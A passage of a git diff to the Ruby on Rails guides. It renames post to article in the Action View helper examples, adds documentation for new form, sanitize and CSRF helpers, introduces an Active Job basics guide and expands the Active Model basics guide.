-**app/views/posts/special.html.erb**
+**app/views/articles/special.html.erb**
```html+erb
<p>This is a special page.</p>
@@ -719,7 +713,7 @@ For example, let's say we have a standard application layout, but also a special
Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
```ruby
-date_select("post", "published_on")
+date_select("article", "published_on")
```
#### datetime_select
@@ -727,7 +721,7 @@ date_select("post", "published_on")
Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
```ruby
-datetime_select("post", "published_on")
+datetime_select("article", "published_on")
```
#### distance_of_time_in_words
@@ -741,7 +735,7 @@ distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true
#### select_date
-Returns a set of html select-tags (one for year, month, and day) pre-selected with the `date` provided.
+Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the `date` provided.
```ruby
# Generates a date select that defaults to the date provided (six days after today)
@@ -753,7 +747,7 @@ select_date()
#### select_datetime
-Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.
+Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.
```ruby
# Generates a datetime select that defaults to the datetime provided (four days after today)
@@ -780,8 +774,8 @@ select_day(5)
Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
```ruby
-# Generates a select field for minutes that defaults to the minutes for the time provided
-select_minute(Time.now + 6.hours)
+# Generates a select field for hours that defaults to the hours for the time provided
+select_hour(Time.now + 6.hours)
```
#### select_minute
@@ -813,7 +807,7 @@ select_second(Time.now + 16.minutes)
#### select_time
-Returns a set of html select-tags (one for hour and minute).
+Returns a set of HTML select-tags (one for hour and minute).
```ruby
# Generates a time select that defaults to the time provided
@@ -909,10 +903,10 @@ The params hash has a nested person value, which can therefore be accessed with
Returns a checkbox tag tailored for accessing a specified attribute.
```ruby
-# Let's say that @post.validated? is 1:
-check_box("post", "validated")
-# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
-# <input name="post[validated]" type="hidden" value="0" />
+# Let's say that @article.validated? is 1:
+check_box("article", "validated")
+# => <input type="checkbox" id="article_validated" name="article[validated]" value="1" />
+# <input name="article[validated]" type="hidden" value="0" />
```
#### fields_for
@@ -944,11 +938,11 @@ file_field(:user, :avatar)
Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
```html+erb
-<%= form_for @post do |f| %>
+<%= form_for @article do |f| %>
<%= f.label :title, 'Title' %>:
- <%= f.text_field :title %><br />
+ <%= f.text_field :title %><br>
<%= f.label :body, 'Body' %>:
- <%= f.text_area :body %><br />
+ <%= f.text_area :body %><br>
<% end %>
```
@@ -966,8 +960,8 @@ hidden_field(:user, :token)
Returns a label tag tailored for labelling an input field for a specified attribute.
```ruby
-label(:post, :title)
-# => <label for="post_title">Title</label>
+label(:article, :title)
+# => <label for="article_title">Title</label>
```
#### password_field
@@ -984,11 +978,11 @@ password_field(:login, :pass)
Returns a radio button tag for accessing a specified attribute.
```ruby
-# Let's say that @post.category returns "rails":
-radio_button("post", "category", "rails")
-radio_button("post", "category", "java")
-# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
-# <input type="radio" id="post_category_java" name="post[category]" value="java" />
+# Let's say that @article.category returns "rails":
+radio_button("article", "category", "rails")
+radio_button("article", "category", "java")
+# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
+# <input type="radio" id="article_category_java" name="article[category]" value="java" />
```
#### text_area
@@ -1007,8 +1001,26 @@ text_area(:comment, :text, size: "20x30")
Returns an input tag of the "text" type tailored for accessing a specified attribute.
```ruby
-text_field(:post, :title)
-# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
+text_field(:article, :title)
+# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" />
+```
+
+#### email_field
+
+Returns an input tag of the "email" type tailored for accessing a specified attribute.
+
+```ruby
+email_field(:user, :email)
+# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" />
+```
+
+#### url_field
+
+Returns an input tag of the "url" type tailored for accessing a specified attribute.
+
+```ruby
+url_field(:user, :url)
+# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" />
```
### FormOptionsHelper
@@ -1022,28 +1034,28 @@ Returns `select` and `option` tags for the collection of existing return values
Example object structure for use with this method:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
belongs_to :author
end
class Author < ActiveRecord::Base
- has_many :posts
+ has_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end
```
-Sample usage (selecting the associated Author for an instance of Post, `@post`):
+Sample usage (selecting the associated Author for an instance of Article, `@article`):
```ruby
-collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {prompt: true})
+collection_select(:article, :author_id, Author.all, :id, :name_with_initial, {prompt: true})
```
-If `@post.author_id` is 1, this would return:
+If `@article.author_id` is 1, this would return:
```html
-<select name="post[author_id]">
+<select name="article[author_id]">
<option value="">Please select</option>
<option value="1" selected="selected">D. Heinemeier Hansson</option>
<option value="2">D. Thomas</option>
@@ -1058,33 +1070,33 @@ Returns `radio_button` tags for the collection of existing return values of `met
Example object structure for use with this method:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
belongs_to :author
end
class Author < ActiveRecord::Base
- has_many :posts
+ has_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end
```
-Sample usage (selecting the associated Author for an instance of Post, `@post`):
+Sample usage (selecting the associated Author for an instance of Article, `@article`):
```ruby
-collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial)
```
-If `@post.author_id` is 1, this would return:
+If `@article.author_id` is 1, this would return:
```html
-<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
-<label for="post_author_id_1">D. Heinemeier Hansson</label>
-<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
-<label for="post_author_id_2">D. Thomas</label>
-<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
-<label for="post_author_id_3">M. Clark</label>
+<input id="article_author_id_1" name="article[author_id]" type="radio" value="1" checked="checked" />
+<label for="article_author_id_1">D. Heinemeier Hansson</label>
+<input id="article_author_id_2" name="article[author_id]" type="radio" value="2" />
+<label for="article_author_id_2">D. Thomas</label>
+<input id="article_author_id_3" name="article[author_id]" type="radio" value="3" />
+<label for="article_author_id_3">M. Clark</label>
```
#### collection_check_boxes
@@ -1094,34 +1106,34 @@ Returns `check_box` tags for the collection of existing return values of `method
Example object structure for use with this method:
```ruby
-class Post < ActiveRecord::Base
- has_and_belongs_to_many :author
+class Article < ActiveRecord::Base
+ has_and_belongs_to_many :authors
end
class Author < ActiveRecord::Base
- has_and_belongs_to_many :posts
+ has_and_belongs_to_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end
```
-Sample usage (selecting the associated Authors for an instance of Post, `@post`):
+Sample usage (selecting the associated Authors for an instance of Article, `@article`):
```ruby
-collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial)
```
-If `@post.author_ids` is [1], this would return:
+If `@article.author_ids` is [1], this would return:
```html
-<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
-<label for="post_author_ids_1">D. Heinemeier Hansson</label>
-<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
-<label for="post_author_ids_2">D. Thomas</label>
-<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
-<label for="post_author_ids_3">M. Clark</label>
-<input name="post[author_ids][]" type="hidden" value="" />
+<input id="article_author_ids_1" name="article[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="article_author_ids_1">D. Heinemeier Hansson</label>
+<input id="article_author_ids_2" name="article[author_ids][]" type="checkbox" value="2" />
+<label for="article_author_ids_2">D. Thomas</label>
+<input id="article_author_ids_3" name="article[author_ids][]" type="checkbox" value="3" />
+<label for="article_author_ids_3">M. Clark</label>
+<input name="article[author_ids][]" type="hidden" value="" />
```
#### country_options_for_select
@@ -1130,7 +1142,7 @@ Returns a string of option tags for pretty much any country in the world.
#### country_select
-Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
#### option_groups_from_collection_for_select
@@ -1209,13 +1221,13 @@ Create a select tag and a series of contained option tags for the provided objec
Example:
```ruby
-select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true})
+select("article", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true})
```
-If `@post.person_id` is 1, this would become:
+If `@article.person_id` is 1, this would become:
```html
-<select name="post[person_id]">
+<select name="article[person_id]">
<option value=""></option>
<option value="1" selected="selected">David</option>
<option value="2">Sam</option>
@@ -1229,15 +1241,23 @@ Returns a string of option tags for pretty much any time zone in the world.
#### time_zone_select
-Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
+Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
```ruby
time_zone_select( "user", "time_zone")
```
+#### date_field
+
+Returns an input tag of the "date" type tailored for accessing a specified attribute.
+
+```ruby
+date_field("user", "dob")
+```
+
### FormTagHelper
-Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
#### check_box_tag
@@ -1264,7 +1284,7 @@ Creates a field set for grouping HTML form elements.
Creates a file upload field.
```html+erb
-<%= form_tag {action: "post"} do %>
+<%= form_tag({action:"post"}, multipart: true) do %>
<label for="file">File to Upload</label> <%= file_field_tag "file" %>
<%= submit_tag %>
<% end %>
@@ -1282,10 +1302,10 @@ file_field_tag 'attachment'
Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`.
```html+erb
-<%= form_tag '/posts' do %>
+<%= form_tag '/articles' do %>
<div><%= submit_tag 'Save' %></div>
<% end %>
-# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+# => <form action="/articles" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
```
#### hidden_field_tag
@@ -1347,8 +1367,8 @@ select_tag "people", "<option>David</option>"
Creates a submit button with the text provided as the caption.
```ruby
-submit_tag "Publish this post"
-# => <input name="commit" type="submit" value="Publish this post" />
+submit_tag "Publish this article"
+# => <input name="commit" type="submit" value="Publish this article" />
```
#### text_area_tag
@@ -1356,8 +1376,8 @@ submit_tag "Publish this post"
Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
```ruby
-text_area_tag 'post'
-# => <textarea id="post" name="post"></textarea>
+text_area_tag 'article'
+# => <textarea id="article" name="article"></textarea>
```
#### text_field_tag
@@ -1369,6 +1389,33 @@ text_field_tag 'name'
# => <input id="name" name="name" type="text" />
```
+#### email_field_tag
+
+Creates a standard input field of email type.
+
+```ruby
+email_field_tag 'email'
+# => <input id="email" name="email" type="email" />
+```
+
+#### url_field_tag
+
+Creates a standard input field of url type.
+
+```ruby
+url_field_tag 'url'
+# => <input id="url" name="url" type="url" />
+```
+
+#### date_field_tag
+
+Creates a standard input field of date type.
+
+```ruby
+date_field_tag "dob"
+# => <input id="dob" name="dob" type="date" />
+```
+
### JavaScriptHelper
Provides functionality for working with JavaScript in your views.
@@ -1444,7 +1491,7 @@ number_to_human_size(1234567) # => 1.2 MB
Formats a number as a percentage string.
```ruby
-number_to_percentage(100, :precision => 0) # => 100%
+number_to_percentage(100, precision: 0) # => 100%
```
#### number_to_phone
@@ -1472,94 +1519,102 @@ number_with_precision(111.2345) # => 111.235
number_with_precision(111.2345, 2) # => 111.23
```
-Localized Views
----------------
+### SanitizeHelper
-Action View has the ability render different templates depending on the current locale.
+The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
-For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+#### sanitize
-You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
+This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed.
-Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
+```ruby
+sanitize @article.body
+```
+
+If either the :attributes or :tags options are passed, only the mentioned tags and attributes are allowed and nothing else.
```ruby
-before_action :set_expert_locale
+sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
+```
-def set_expert_locale
- I18n.locale = :expert if current_user.expert?
+To change defaults for multiple uses, for example adding table tags to the default:
+
+```ruby
+class Application < Rails::Application
+ config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
end
```
-Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users.
+#### sanitize_css(style)
-You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
+Sanitizes a block of CSS code.
-Using Action View outside of Rails
-----------------------------------
+#### strip_links(html)
+Strips all link tags from text leaving just the link text.
-Action View is a Rails component, but it can also be used without Rails. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
+```ruby
+strip_links("<a href="http://rubyonrails.org">Ruby on Rails</a>")
+# => Ruby on Rails
+```
-Let's start by ensuring that you have the Action Pack and Rack gems installed:
+```ruby
+strip_links("emails to <a href="mailto:me@email.com">me@email.com</a>.")
+# => emails to me@email.com.
+```
-```bash
-$ gem install actionpack
-$ gem install rack
+```ruby
+strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
+# => Blog: Visit.
```
-Now we'll create a simple "Hello World" application that uses the `titleize` method provided by Active Support.
+#### strip_tags(html)
-**hello_world.rb:**
+Strips all HTML tags from the html, including comments.
+This uses the html-scanner tokenizer and so its HTML parsing ability is limited by that of html-scanner.
```ruby
-require 'active_support/core_ext/string/inflections'
-require 'rack'
-
-def hello_world(env)
- [200, {"Content-Type" => "text/html"}, "hello world".titleize]
-end
+strip_tags("Strip <i>these</i> tags!")
+# => Strip these tags!
+```
-Rack::Handler::Mongrel.run method(:hello_world), Port: 4567
+```ruby
+strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</a>")
+# => Bold no more! See more
```
-We can see this all come together by starting up the application and then visiting `http://localhost:4567/`
+NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers.
-```bash
-$ ruby hello_world.rb
-```
+### CsrfHelper
+
+Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
+request forgery protection parameter and token, respectively.
-TODO needs a screenshot? I have one - not sure where to put it.
+```html
+<%= csrf_meta_tags %>
+```
-Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method.
+NOTE: Regular forms generate hidden fields so they do not use these tags. More
+details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf).
-Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way.
+Localized Views
+---------------
-Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
+Action View has the ability render different templates depending on the current locale.
-```bash
-$ gem install actionpack
-$ gem install sinatra
-```
+For example, suppose you have a `ArticlesController` with a show action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/articles/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
-Now we'll create the same "Hello World" application in Sinatra.
+You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
-**hello_world.rb:**
+Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
```ruby
-require 'action_view'
-require 'sinatra'
+before_action :set_expert_locale
-get '/' do
- erb 'hello world'.titleize
+def set_expert_locale
+ I18n.locale = :expert if current_user.expert?
end
```
-Then, we can run the application:
+Then you could create special views like `app/views/articles/show.expert.html.erb` that would only be displayed to expert users.
-```bash
-$ ruby hello_world.rb
-```
-
-Once the application is running, you can see Sinatra and Action View working together by visiting `http://localhost:4567/`
-
-TODO needs a screenshot? I have one - not sure where to put it.
+You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
diff --git a/guides/source/active_job_basics.md b/guides/source/active_job_basics.md
new file mode 100644
index 0000000000..748467866d
--- /dev/null
+++ b/guides/source/active_job_basics.md
@@ -0,0 +1,318 @@
+Active Job Basics
+=================
+
+This guide provides you with all you need to get started in creating,
+enqueueing and executing background jobs.
+
+After reading this guide, you will know:
+
+* How to create jobs.
+* How to enqueue jobs.
+* How to run jobs in the background.
+* How to send emails from your application async.
+
+--------------------------------------------------------------------------------
+
+
+Introduction
+------------
+
+Active Job is a framework for declaring jobs and making them run on a variety
+of queueing backends. These jobs can be everything from regularly scheduled
+clean-ups, to billing charges, to mailings. Anything that can be chopped up
+into small units of work and run in parallel, really.
+
+
+The Purpose of Active Job
+-----------------------------
+The main point is to ensure that all Rails apps will have a job infrastructure
+in place, even if it's in the form of an "immediate runner". We can then have
+framework features and other gems build on top of that, without having to
+worry about API differences between various job runners such as Delayed Job
+and Resque. Picking your queuing backend becomes more of an operational concern,
+then. And you'll be able to switch between them without having to rewrite your jobs.
+
+
+Creating a Job
+--------------
+
+This section will provide a step-by-step guide to creating a job and enqueuing it.
+
+### Create the Job
+
+Active Job provides a Rails generator to create jobs. The following will create a
+job in `app/jobs` (with an attached test case under `test/jobs`):
+
+```bash
+$ bin/rails generate job guests_cleanup
+invoke test_unit
+create test/jobs/guests_cleanup_job_test.rb
+create app/jobs/guests_cleanup_job.rb
+```
+
+You can also create a job that will run on a specific queue:
+
+```bash
+$ bin/rails generate job guests_cleanup --queue urgent
+```
+
+If you don't want to use a generator, you could create your own file inside of
+`app/jobs`, just make sure that it inherits from `ActiveJob::Base`.
+
+Here's what a job looks like:
+
+```ruby
+class GuestsCleanupJob < ActiveJob::Base
+ queue_as :default
+
+ def perform(*args)
+ # Do something later
+ end
+end
+```
+
+### Enqueue the Job
+
+Enqueue a job like so:
+
+```ruby
+# Enqueue a job to be performed as soon the queueing system is free.
+MyJob.perform_later record
+```
+
+```ruby
+# Enqueue a job to be performed tomorrow at noon.
+MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record)
+```
+
+```ruby
+# Enqueue a job to be performed 1 week from now.
+MyJob.set(wait: 1.week).perform_later(record)
+```
+
+That's it!
+
+
+Job Execution
+-------------
+
+If no adapter is set, the job is immediately executed.
+
+### Backends
+
+Active Job has built-in adapters for multiple queueing backends (Sidekiq,
+Resque, Delayed Job and others). To get an up-to-date list of the adapters
+see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+### Setting the Backend
+
+You can easily set your queueing backend:
+
+```ruby
+# config/application.rb
+module YourApp
+ class Application < Rails::Application
+ # Be sure to have the adapter's gem in your Gemfile and follow
+ # the adapter's specific installation and deployment instructions.
+ config.active_job.queue_adapter = :sidekiq
+ end
+end
+```
+
+
+Queues
+------
+
+Most of the adapters support multiple queues. With Active Job you can schedule
+the job to run on a specific queue:
+
+```ruby
+class GuestsCleanupJob < ActiveJob::Base
+ queue_as :low_priority
+ #....
+end
+```
+
+You can prefix the queue name for all your jobs using
+`config.active_job.queue_name_prefix` in `application.rb`:
+
+```ruby
+# config/application.rb
+module YourApp
+ class Application < Rails::Application
+ config.active_job.queue_name_prefix = Rails.env
+ end
+end
+
+# app/jobs/guests_cleanup.rb
+class GuestsCleanupJob < ActiveJob::Base
+ queue_as :low_priority
+ #....
+end
+
+# Now your job will run on queue production_low_priority on your
+# production environment and on staging_low_priority on your staging
+# environment
+```
+
+The default queue name prefix delimiter is '_'. This can be changed by setting
+`config.active_job.queue_name_delimiter` in `application.rb`:
+
+```ruby
+# config/application.rb
+module YourApp
+ class Application < Rails::Application
+ config.active_job.queue_name_prefix = Rails.env
+ config.active_job.queue_name_delimiter = '.'
+ end
+end
+
+# app/jobs/guests_cleanup.rb
+class GuestsCleanupJob < ActiveJob::Base
+ queue_as :low_priority
+ #....
+end
+
+# Now your job will run on queue production.low_priority on your
+# production environment and on staging.low_priority on your staging
+# environment
+```
+
+If you want more control on what queue a job will be run you can pass a `:queue`
+option to `#set`:
+
+```ruby
+MyJob.set(queue: :another_queue).perform_later(record)
+```
+
+To control the queue from the job level you can pass a block to `#queue_as`. The
+block will be executed in the job context (so you can access `self.arguments`)
+and you must return the queue name:
+
+```ruby
+class ProcessVideoJob < ActiveJob::Base
+ queue_as do
+ video = self.arguments.first
+ if video.owner.premium?
+ :premium_videojobs
+ else
+ :videojobs
+ end
+ end
+
+ def perform(video)
+ # do process video
+ end
+end
+
+ProcessVideoJob.perform_later(Video.last)
+```
+
+NOTE: Make sure your queueing backend "listens" on your queue name. For some
+backends you need to specify the queues to listen to.
+
+
+Callbacks
+---------
+
+Active Job provides hooks during the lifecycle of a job. Callbacks allow you to
+trigger logic during the lifecycle of a job.
+
+### Available callbacks
+
+* `before_enqueue`
+* `around_enqueue`
+* `after_enqueue`
+* `before_perform`
+* `around_perform`
+* `after_perform`
+
+### Usage
+
+```ruby
+class GuestsCleanupJob < ActiveJob::Base
+ queue_as :default
+
+ before_enqueue do |job|
+ # do something with the job instance
+ end
+
+ around_perform do |job, block|
+ # do something before perform
+ block.call
+ # do something after perform
+ end
+
+ def perform
+ # Do something later
+ end
+end
+```
+
+
+Action Mailer
+------------
+
+One of the most common jobs in a modern web application is sending emails outside
+of the request-response cycle, so the user doesn't have to wait on it. Active Job
+is integrated with Action Mailer so you can easily send emails asynchronously:
+
+```ruby
+# If you want to send the email now use #deliver_now
+UserMailer.welcome(@user).deliver_now
+
+# If you want to send the email through Active Job use #deliver_later
+UserMailer.welcome(@user).deliver_later
+```
+
+
+GlobalID
+--------
+
+Active Job supports GlobalID for parameters. This makes it possible to pass live
+Active Record objects to your job instead of class/id pairs, which you then have
+to manually deserialize. Before, jobs would look like this:
+
+```ruby
+class TrashableCleanupJob < ActiveJob::Base
+ def perform(trashable_class, trashable_id, depth)
+ trashable = trashable_class.constantize.find(trashable_id)
+ trashable.cleanup(depth)
+ end
+end
+```
+
+Now you can simply do:
+
+```ruby
+class TrashableCleanupJob < ActiveJob::Base
+ def perform(trashable, depth)
+ trashable.cleanup(depth)
+ end
+end
+```
+
+This works with any class that mixes in `GlobalID::Identification`, which
+by default has been mixed into Active Model classes.
+
+
+Exceptions
+----------
+
+Active Job provides a way to catch exceptions raised during the execution of the
+job:
+
+```ruby
+
+class GuestsCleanupJob < ActiveJob::Base
+ queue_as :default
+
+ rescue_from(ActiveRecord::RecordNotFound) do |exception|
+ # do something with the exception
+ end
+
+ def perform
+ # Do something later
+ end
+end
+```
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
index 68ac26c681..a520b91a4d 100644
--- a/guides/source/active_model_basics.md
+++ b/guides/source/active_model_basics.md
@@ -1,20 +1,32 @@
Active Model Basics
===================
-This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-Active Record models. Active Model also helps building custom ORMs for use outside of the Rails framework.
+This guide should provide you with all you need to get started using model
+classes. Active Model allows for Action Pack helpers to interact with
+plain Ruby objects. Active Model also helps build custom ORMs for use
+outside of the Rails framework.
-After reading this guide, you will know:
+After reading this guide, you will be able to add to plain Ruby objects:
+
+* The ability to behave like an Active Record model.
+* Callbacks and validations like Active Record.
+* Serializers.
+* Integration with the Rails internationalization (i18n) framework.
--------------------------------------------------------------------------------
Introduction
------------
-Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below.
+Active Model is a library containing various modules used in developing
+classes that need some features present on Active Record.
+Some of these modules are explained below.
-### AttributeMethods
+### Attribute Methods
-The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
+The `ActiveModel::AttributeMethods` module can add custom prefixes and suffixes
+on methods of a class. It is used by defining the prefixes and suffixes and
+which methods on the object will use them.
```ruby
class Person
@@ -38,14 +50,17 @@ end
person = Person.new
person.age = 110
-person.age_highest? # true
-person.reset_age # 0
-person.age_highest? # false
+person.age_highest? # => true
+person.reset_age # => 0
+person.age_highest? # => false
```
### Callbacks
-Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
+`ActiveModel::Callbacks` gives Active Record style callbacks. This provides an
+ability to define callbacks which run at appropriate times.
+After defining callbacks, you can wrap them with before, after and around
+custom methods.
```ruby
class Person
@@ -57,19 +72,21 @@ class Person
def update
run_callbacks(:update) do
- # This will call when we are trying to call update on object.
+ # This method is called when update is called on an object.
end
end
def reset_me
- # This method will call when you are calling update on object as a before_update callback as defined.
+ # This method is called when update is called on an object as a before_update callback is defined.
end
end
```
### Conversion
-If a class defines `persisted?` and `id` methods then you can include `Conversion` module in that class and you can able to call Rails conversion methods to objects of that class.
+If a class defines `persisted?` and `id` methods, then you can include the
+`ActiveModel::Conversion` module in that class and call the Rails conversion
+methods on objects of that class.
```ruby
class Person
@@ -92,11 +109,13 @@ person.to_param # => nil
### Dirty
-An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes `first_name` and `last_name`:
+An object becomes dirty when it has gone through one or more changes to its
+attributes and has not been saved. `ActiveModel::Dirty` gives the ability to
+check whether an object has been changed or not. It also has attribute based
+accessor methods. Let's consider a Person class with attributes `first_name`
+and `last_name`:
```ruby
-require 'active_model'
-
class Person
include ActiveModel::Dirty
define_attribute_methods :first_name, :last_name
@@ -120,8 +139,8 @@ class Person
end
def save
- @previously_changed = changes
# do save work...
+ changes_applied
end
end
```
@@ -162,10 +181,11 @@ Track what was the previous value of the attribute.
```ruby
# attr_name_was accessor
-person.first_name_was # => "First Name"
+person.first_name_was # => nil
```
-Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.
+Track both previous and current value of the changed attribute. Returns an array
+if changed, else returns nil.
```ruby
# attr_name_change
@@ -175,7 +195,8 @@ person.last_name_change # => nil
### Validations
-Validations module adds the ability to class objects to validate them in Active Record style.
+`ActiveModel::Validations` module adds the ability to validate class objects
+like in Active Record.
```ruby
class Person
@@ -188,7 +209,8 @@ class Person
validates! :token, presence: true
end
-person = Person.new(token: "2b1f325")
+person = Person.new
+person.token = "2b1f325"
person.valid? # => false
person.name = 'vishnu'
person.email = 'me'
@@ -198,3 +220,335 @@ person.valid? # => true
person.token = nil
person.valid? # => raises ActiveModel::StrictValidationFailed
```
+
+### Naming
+
+`ActiveModel::Naming` adds a number of class methods which make the naming and routing
+easier to manage. The module defines the `model_name` class method which
+will define a number of accessors using some `ActiveSupport::Inflector` methods.
+
+```ruby
+class Person
+ extend ActiveModel::Naming
+end
+
+Person.model_name.name # => "Person"
+Person.model_name.singular # => "person"
+Person.model_name.plural # => "people"
+Person.model_name.element # => "person"
+Person.model_name.human # => "Person"
+Person.model_name.collection # => "people"
+Person.model_name.param_key # => "person"
+Person.model_name.i18n_key # => :person
+Person.model_name.route_key # => "people"
+Person.model_name.singular_route_key # => "person"
+```
+
+### Model
+
+`ActiveModel::Model` adds the ability to a class to work with Action Pack and
+Action View right out of the box.
+
+```ruby
+class EmailContact
+ include ActiveModel::Model
+
+ attr_accessor :name, :email, :message
+ validates :name, :email, :message, presence: true
+
+ def deliver
+ if valid?
+ # deliver email
+ end
+ end
+end
+```
+
+When including `ActiveModel::Model` you get some features like:
+
+- model name introspection
+- conversions
+- translations
+- validations
+
+It also gives you the ability to initialize an object with a hash of attributes,
+much like any Active Record object.
+
+```ruby
+email_contact = EmailContact.new(name: 'David',
+ email: 'david@example.com',
+ message: 'Hello World')
+email_contact.name # => 'David'
+email_contact.email # => 'david@example.com'
+email_contact.valid? # => true
+email_contact.persisted? # => false
+```
+
+Any class that includes `ActiveModel::Model` can be used with `form_for`,
+`render` and any other Action View helper methods, just like Active Record
+objects.
+
+### Serialization
+
+`ActiveModel::Serialization` provides a basic serialization for your object.
+You need to declare an attributes hash which contains the attributes you want to
+serialize. Attributes must be strings, not symbols.
+
+```ruby
+class Person
+ include ActiveModel::Serialization
+
+ attr_accessor :name
+
+ def attributes
+ {'name' => nil}
+ end
+end
+```
+
+Now you can access a serialized hash of your object using the `serializable_hash`.
+
+```ruby
+person = Person.new
+person.serializable_hash # => {"name"=>nil}
+person.name = "Bob"
+person.serializable_hash # => {"name"=>"Bob"}
+```
+
+#### ActiveModel::Serializers
+
+Rails provides two serializers `ActiveModel::Serializers::JSON` and
+`ActiveModel::Serializers::Xml`. Both of these modules automatically include
+the `ActiveModel::Serialization`.
+
+##### ActiveModel::Serializers::JSON
+
+To use the `ActiveModel::Serializers::JSON` you only need to change from
+`ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`.
+
+```ruby
+class Person
+ include ActiveModel::Serializers::JSON
+
+ attr_accessor :name
+
+ def attributes
+ {'name' => nil}
+ end
+end
+```
+
+With the `as_json` you have a hash representing the model.
+
+```ruby
+person = Person.new
+person.as_json # => {"name"=>nil}
+person.name = "Bob"
